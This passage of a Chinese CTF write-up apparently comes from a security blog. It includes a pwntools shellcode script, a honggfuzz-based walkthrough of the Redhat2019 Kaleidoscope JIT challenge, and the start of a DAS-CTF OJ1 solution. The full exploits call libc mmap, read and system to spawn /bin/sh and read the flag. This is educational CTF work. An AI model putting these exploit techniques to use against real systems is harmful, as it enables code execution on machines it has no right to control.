def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
sh.recvuntil('> ')
sh.sendline('90') # NOP byte
sh.recvuntil('> ')
sh.sendline('80') # NOP size
sh.recvuntil(': ')
sh.sendline('7C') # patch offset
sh.recvuntil(': ')
sh.sendline('EB') # patch value
sh.recvuntil(': ')
sh.sendline('7D') # patch offset
sh.recvuntil(': ')
sh.sendline('46') # patch value
sh.recvuntil('[1/3] > ')
sh.sendline('504831d24831f648') # ROP
sh.recvuntil('[2/3] > ')
sh.sendline('bb2f62696e2f2f73') # ROP
sh.recvuntil('[3/3] > ')
sh.sendline('6853545fb03b0f05') # ROP
sh.recvuntil('> ')
# sh.sendline('1') # Watch
# open('./introool','w').write(base64.b64decode(sh.recvuntil('n',drop=True)))
sh.sendline('2') # Attack
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x07 以 [Redhat2019] Kaleidoscope 为例
题目信息
没有开启Canary
和RELRO
保护的64
位程序
通过试运行的结果,可以确定这是一个解释器
当我们把它加载到IDA
中时,我们就可以很明显的看出,此程序使用了C++
语言编写,并且在编译时启用了一些LLVM
的优化选项,使得我们的代码识读变得十分困难,我们可以通过题目名以及一些题目中的固定字符串去发现,这是一个Kaleidoscope
即时解释器,LLVM
项目将其作为例程来表示如何去构建一个即时解释器,我们可以在 Building a JIT: Starting out with KaleidoscopeJIT 找到这个例程的解释,同时可以在 llvm-kaleidoscope 处找到该项目的源码。
该项目的main
函数源码是形如这样子的:
int main() {
BinopPrecedence['<'] = 10;
BinopPrecedence['+'] = 20;
BinopPrecedence['-'] = 20;
BinopPrecedence['*'] = 40;
fprintf(stderr, "ready> ");
getNextToken();
TheModule = llvm::make_unique<Module>("My awesome JIT", TheContext);
MainLoop();
TheModule->print(errs(), nullptr);
return 0;
}
但是本题的main
函数的反编译结果却是:
这种代码会令人十分的难以去理解,但是通过比较这两段代码可以发现,这段代码额外的定义了一个=
操作符,一般情况下,这种额外的定义往往会伴随着漏洞的发生,但是由于此处的代码分析量实在是过于庞杂,因此我们此处考虑使用fuzz
的思路。
fuzz
测试
此处我们决定使用honggfuzz
这个模糊测试工具,这是一个由Google
维护的一个fuzz
工具。
安装honggfuzz
(以ubuntu 16.04
为例)
首先我们需要拉取项目
git clone https://github.com/google/honggfuzz.git
cd honggfuzz
然后需要安装相关的依赖库文件
apt-get install libbfd-dev libunwind8-dev clang-5.0 lzma-dev
接下来需要确认lzma
的存在:
locate lzma
如果发现只有liblzma.so.x
文件,那么需要建立一个符号链接
sudo ln -s /lib/x86_64-linux-gnu/liblzma.so.5 /lib/x86_64-linux-gnu/liblzma.so
接下来执行以下命令来完成编译安装:
sudo make
cp libhfcommon includes/libhfcommon
cp libhfnetdriver includes/libhfnetdriver
cp libhfuzz includes/libhfuzz
sudo make install
至此,我们的honggfuzz
主程序安装结束。
安装honggfuzz-qemu
(以ubuntu 16.04
为例)
接下来因为我们要进行fuzz
的是黑盒状态下的程序,因此我们需要使用qemu
模式来辅助我们监控fuzz
的代码覆盖率,那么honggfuzz
为我们提供了honggfuzz
的MAKEFILE
,我们直接使用如下命令即可安装
cd qemu_mode
make
sudo apt-get install libpixman-1-dev
cd honggfuzz-qemu && make
⚠️:使用docker
化的honggfuzz
时会产生变量类型的报错,目前没有找到解决方式,已经提了issue
,因此不建议使用docker
化的honggfuzz
安装honggfuzz-qemu
。
⚠️:安装时会使用git
安装不同的几个包。
启动测试
安装完毕后我们就可以启动fuzz
测试了
honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/Kaleidoscope
其中,/work/in/
是语料库文件夹,将我们所需要的种子语料以txt
形式放置在语料库文件夹即可。
可以发现,在1 h 25 min
分钟的时间里,就已经触发了一些crash
:
漏洞分析
我们可以查看当前文件夹下生成的crash
文件,里面存储了产生此crash
所使用的输入样本,我们注意到,在这14
个样本中,有一个形如:
def fib(x)
if x < 3 then
1
else
526142246948557=666
fib(40)
的样本,当我们把它喂进程序时,程序显示了一个较为异常的报错信息。
这里说程序无法处理我们给定的外部函数,可以发现这个报错里出现了extern
关键字
那么我们进一步测试,发现当我们向程序输入extern
关键字时会报错:
那么我们来定位这些报错的位置:
可以发现,当我们直接使用extern
函数时会产生报错,而当我们采用形如:
def fib(x)
if x < 3 then
1
else
1=1
fib(40)
的输入时会直接调用libLLVM.so
中的内容。
我们可以分析出以下调用过程,当我们向程序传递以上参数时,首先会经过解释器的函数解析,解析后会将我们要调用的函数名传递给libLLVM.so
,然后通过其内部的RTDyldMemoryManager::getPointerToNamedFunction
做函数指针的寻址,关于此函数此处有更加详细的解析。
那么此处我们是否可以通过这个机制来调用任意函数呢?我们构造以下数据来进行输入:
payload = '''
def puts(x)
if x < 3 then
1
else
1=1
puts(1234)
'''
get_gdb(sh,stop=True)
sh.recvuntil('ready> ')
sh.sendline(payload)
sleep(0.5)
sh.recvuntil('ready> ')
sh.sendline('1')
sh.interactive()
可以发现,的确调用了libc
内的函数,且发现其参数正是我们传入的1234
。
漏洞利用
那么我们只需要先调用mmap(1048576, 4096, 7, 34, 0)
来分配一段空间以用来存储我们的/bin/sh
然后调用read(0,1048576,10)
来读取我们的/bin/sh
,最后再调用system(1048576)
即可getshell
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
Kaleidoscope=ELF('./Kaleidoscope', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Kaleidoscope")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Kaleidoscope")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = """
def mmap(x y z o p)
if x < 3 then
1
else
a=1
mmap(1048576, 4096, 7, 34, 0);
"""
sh.recvuntil('ready> ')
# get_gdb(sh)
sh.sendline(payload)
sleep(0.5)
payload = """
def read(x y z)
if m < 3 then
1
else
0=1
def system(x)
if m < 3 then
1
else
0=1
read(0, 1048576, 10);
system(1048576);
"""
sh.recvuntil('ready> ')
sh.sendline(payload)
sh.recvuntil('ready> ')
sh.sendline('/bin/shx00')
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x08 以 2020 DAS-CTF OJ1 为例
安恒月赛的题目为闭源信息,本例题不会给出任何形式的附件下载地址
解题思路
题目要求我们输入不带括号的C代码来执行,注意,此处的程序要求我们不允许带有任何形式的括号,包括大括号,中括号,小括号,这就使得我们无法通过常规的C
代码形式提交,例如int main(){}
等等,这里我们给出一种奇特的可运行的C
代码形式。
const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;
例如我们直接编译以上代码,在main
处下断
那么我们直接找到对应汇编码即可。
发表评论
您还未登录,请先登录。
登录